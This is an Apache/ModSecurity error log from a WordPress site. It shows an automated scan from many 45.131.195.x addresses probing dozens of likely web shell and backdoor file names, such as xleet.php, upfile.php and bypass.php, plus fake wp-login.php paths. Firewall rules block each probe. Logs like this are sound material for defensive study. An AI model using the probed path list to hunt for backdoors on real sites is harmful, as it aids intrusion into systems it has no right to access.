[Wed Apr 15 04:45:22.172390 2026] [proxy_fcgi:error] [pid 4067:tid 4153] [client 45.131.195.141:22507] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:45:23.855862 2026] [:error] [pid 4067:tid 4155] [client 45.131.195.141:22507] [client 45.131.195.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "ad6nY-5XHBJU8ZrRxZ0gHAAAAJg"]
[Wed Apr 15 04:45:31.481070 2026] [:error] [pid 4067:tid 4147] [client 45.131.195.141:22507] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "ad6na-5XHBJU8ZrRxZ0gMwAAAJA"]
[Wed Apr 15 04:45:34.086094 2026] [:error] [pid 45504:tid 45516] [client 45.131.195.141:52651] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "ad6nbq3iO9_fE_IQEMkGUgAAAQo"]
[Wed Apr 15 04:45:40.918396 2026] [:error] [pid 4066:tid 4115] [client 45.131.195.129:33813] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "ad6ndIC2YXfSPsC9O_BVZQAAAEs"]
[Wed Apr 15 04:45:45.835359 2026] [:error] [pid 45504:tid 45513] [client 45.131.195.140:51027] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "ad6nea3iO9_fE_IQEMkGdgAAAQc"]
[Wed Apr 15 04:45:47.380999 2026] [:error] [pid 4067:tid 4141] [client 45.131.195.145:36347] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "ad6ne-5XHBJU8ZrRxZ0gRAAAAIo"]
[Wed Apr 15 04:45:52.682530 2026] [:error] [pid 4066:tid 4119] [client 45.131.195.184:65309] [client 45.131.195.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-feed-index.php"] [unique_id "ad6ngIC2YXfSPsC9O_BVgAAAAE8"]
[Wed Apr 15 04:45:56.508887 2026] [proxy_fcgi:error] [pid 4169:tid 4200] [client 45.131.195.125:45503] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:45:56.769972 2026] [:error] [pid 4169:tid 4198] [client 45.131.195.125:45503] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "ad6nhB15U5D-N99n_jJemgAAANc"]
[Wed Apr 15 04:46:00.769141 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.124:22221] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/db.php"] [unique_id "ad6niK3iO9_fE_IQEMkGnwAAAQ8"]
[Wed Apr 15 04:46:01.201692 2026] [:error] [pid 4067:tid 4150] [client 45.131.195.171:26305] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "ad6nie5XHBJU8ZrRxZ0gTAAAAJM"]
[Wed Apr 15 04:46:01.648842 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.150:32423] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "ad6niR15U5D-N99n_jJengAAANA"]
[Wed Apr 15 04:46:02.096361 2026] [:error] [pid 4066:tid 4116] [client 45.131.195.156:49147] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "ad6nioC2YXfSPsC9O_BVhwAAAEw"]
[Wed Apr 15 04:46:03.152783 2026] [:error] [pid 4169:tid 4187] [client 45.131.195.124:58803] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "ad6nix15U5D-N99n_jJeowAAAM4"]
[Wed Apr 15 04:46:03.642857 2026] [:error] [pid 4169:tid 4191] [client 45.131.195.124:55547] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "ad6nix15U5D-N99n_jJepQAAANE"]
[Wed Apr 15 04:46:07.600537 2026] [:error] [pid 45504:tid 45518] [client 45.131.195.175:27355] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "ad6nj63iO9_fE_IQEMkGqQAAAQw"]
[Wed Apr 15 04:46:09.695775 2026] [:error] [pid 45504:tid 45530] [client 45.131.195.149:40879] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "ad6nka3iO9_fE_IQEMkGrgAAARg"]
[Wed Apr 15 04:46:10.973313 2026] [:error] [pid 45504:tid 45507] [client 45.131.195.166:55221] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "ad6nkq3iO9_fE_IQEMkGsQAAAQE"]
[Wed Apr 15 04:46:13.289894 2026] [:error] [pid 45504:tid 45518] [client 45.131.195.169:54607] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "ad6nla3iO9_fE_IQEMkGtwAAAQw"]
[Wed Apr 15 04:46:14.251293 2026] [:error] [pid 4065:tid 4092] [client 45.131.195.195:47885] [client 45.131.195.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/options.php"] [unique_id "ad6nlgWArgJTHu2_6Oy3hgAAABA"]
[Wed Apr 15 04:46:15.197151 2026] [proxy_fcgi:error] [pid 45504:tid 45507] [client 45.131.195.161:35453] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:46:18.819051 2026] [:error] [pid 45504:tid 45517] [client 45.131.195.161:35453] [client 45.131.195.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "ad6nmq3iO9_fE_IQEMkGzAAAAQs"]
[Wed Apr 15 04:46:26.493384 2026] [:error] [pid 45504:tid 45508] [client 45.131.195.161:35453] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/goto.php"] [unique_id "ad6noq3iO9_fE_IQEMkG_AAAAQI"]
[Wed Apr 15 04:46:50.661019 2026] [:error] [pid 4169:tid 4174] [client 45.131.195.130:23087] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "ad6nuh15U5D-N99n_jJe8wAAAMI"]
[Wed Apr 15 04:46:51.466877 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.195:38319] [client 45.131.195.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "ad6nux15U5D-N99n_jJe9AAAAMA"]
[Wed Apr 15 04:46:52.436717 2026] [:error] [pid 45504:tid 45507] [client 45.131.195.179:57879] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "ad6nvK3iO9_fE_IQEMkHRgAAAQE"]
[Wed Apr 15 04:47:02.845882 2026] [:error] [pid 4067:tid 4133] [client 45.131.195.164:23665] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "ad6nxu5XHBJU8ZrRxZ0gegAAAII"]
[Wed Apr 15 04:47:03.679129 2026] [:error] [pid 4067:tid 4141] [client 45.131.195.129:37373] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "ad6nx-5XHBJU8ZrRxZ0gfQAAAIo"]
[Wed Apr 15 04:47:04.564345 2026] [:error] [pid 45504:tid 45514] [client 45.131.195.124:62681] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "ad6nyK3iO9_fE_IQEMkHegAAAQg"]
[Wed Apr 15 04:47:11.416998 2026] [:error] [pid 45504:tid 45526] [client 45.131.195.125:48317] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "ad6nz63iO9_fE_IQEMkHlgAAARQ"]
[Wed Apr 15 04:47:14.242148 2026] [:error] [pid 45504:tid 45516] [client 45.131.195.171:64625] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "ad6n0q3iO9_fE_IQEMkHoAAAAQo"]
[Wed Apr 15 04:47:18.504186 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.166:57911] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "ad6n1h15U5D-N99n_jJfFAAAAMA"]
[Wed Apr 15 04:47:35.667878 2026] [:error] [pid 45504:tid 45510] [client 45.131.195.165:29849] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/index.php"] [unique_id "ad6n563iO9_fE_IQEMkH3gAAAQQ"]
[Wed Apr 15 04:47:37.997990 2026] [:error] [pid 45504:tid 45512] [client 45.131.195.175:64963] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/about.php"] [unique_id "ad6n6a3iO9_fE_IQEMkH5wAAAQY"]
[Wed Apr 15 04:47:47.396463 2026] [:error] [pid 4066:tid 4118] [client 45.131.195.129:62257] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-sup.php"] [unique_id "ad6n84C2YXfSPsC9O_BV7QAAAE4"]
[Wed Apr 15 04:47:51.831648 2026] [:error] [pid 4067:tid 4153] [client 45.131.195.160:39199] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "ad6n9-5XHBJU8ZrRxZ0gugAAAJY"]
[Wed Apr 15 04:47:59.128102 2026] [:error] [pid 45504:tid 45510] [client 45.131.195.190:62709] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "ad6n_63iO9_fE_IQEMkIBgAAAQQ"]
[Wed Apr 15 04:48:08.706598 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.179:28463] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "ad6oCK3iO9_fE_IQEMkIJAAAARE"]
[Wed Apr 15 04:48:17.343656 2026] [:error] [pid 4067:tid 4132] [client 45.131.195.160:49671] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "ad6oEe5XHBJU8ZrRxZ0gyQAAAIE"]
[Wed Apr 15 04:48:17.767646 2026] [:error] [pid 4169:tid 4183] [client 45.131.195.149:43095] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "ad6oER15U5D-N99n_jJfbwAAAMs"]
[Wed Apr 15 04:48:27.041630 2026] [:error] [pid 4169:tid 4186] [client 45.131.195.156:36303] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "ad6oGx15U5D-N99n_jJfhQAAAM0"]
[Wed Apr 15 04:48:36.707282 2026] [:error] [pid 4066:tid 4113] [client 45.131.195.161:37833] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine-session.php"] [unique_id "ad6oJIC2YXfSPsC9O_BWJAAAAEk"]
[Wed Apr 15 04:48:44.904588 2026] [:error] [pid 4169:tid 4181] [client 45.131.195.197:21121] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "ad6oLB15U5D-N99n_jJfrgAAAMk"]
[Wed Apr 15 04:48:45.492842 2026] [:error] [pid 4169:tid 4188] [client 45.131.195.125:35459] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "ad6oLR15U5D-N99n_jJfsQAAAM8"]
[Wed Apr 15 04:48:48.215427 2026] [:error] [pid 4169:tid 4174] [client 45.131.195.115:28991] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "ad6oMB15U5D-N99n_jJfuwAAAMI"]
[Wed Apr 15 04:48:52.323710 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.170:52701] [client 45.131.195.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/install.php"] [unique_id "ad6oNB15U5D-N99n_jJfwgAAANY"]
[Wed Apr 15 04:48:52.945222 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.169:47621] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "ad6oNK3iO9_fE_IQEMkIgwAAAQA"]
[Wed Apr 15 04:49:03.910393 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.169:58571] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/category-double.php"] [unique_id "ad6oP63iO9_fE_IQEMkItAAAAQA"]
[Wed Apr 15 04:49:07.760623 2026] [:error] [pid 4067:tid 4135] [client 45.131.195.151:51775] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/db.php"] [unique_id "ad6oQ-5XHBJU8ZrRxZ0hAAAAAIQ"]
[Wed Apr 15 04:49:08.278639 2026] [:error] [pid 45504:tid 45525] [client 45.131.195.171:24523] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/security.php"] [unique_id "ad6oRK3iO9_fE_IQEMkIvgAAARM"]
[Wed Apr 15 04:49:12.160092 2026] [:error] [pid 45504:tid 45510] [client 45.131.195.161:63669] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "ad6oSK3iO9_fE_IQEMkIxQAAAQQ"]
[Wed Apr 15 04:49:14.481725 2026] [:error] [pid 4067:tid 4150] [client 45.131.195.164:59389] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "ad6oSu5XHBJU8ZrRxZ0hDAAAAJM"]
[Wed Apr 15 04:49:23.557398 2026] [:error] [pid 45504:tid 45511] [client 45.131.195.190:22487] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "ad6oU63iO9_fE_IQEMkI2gAAAQU"]
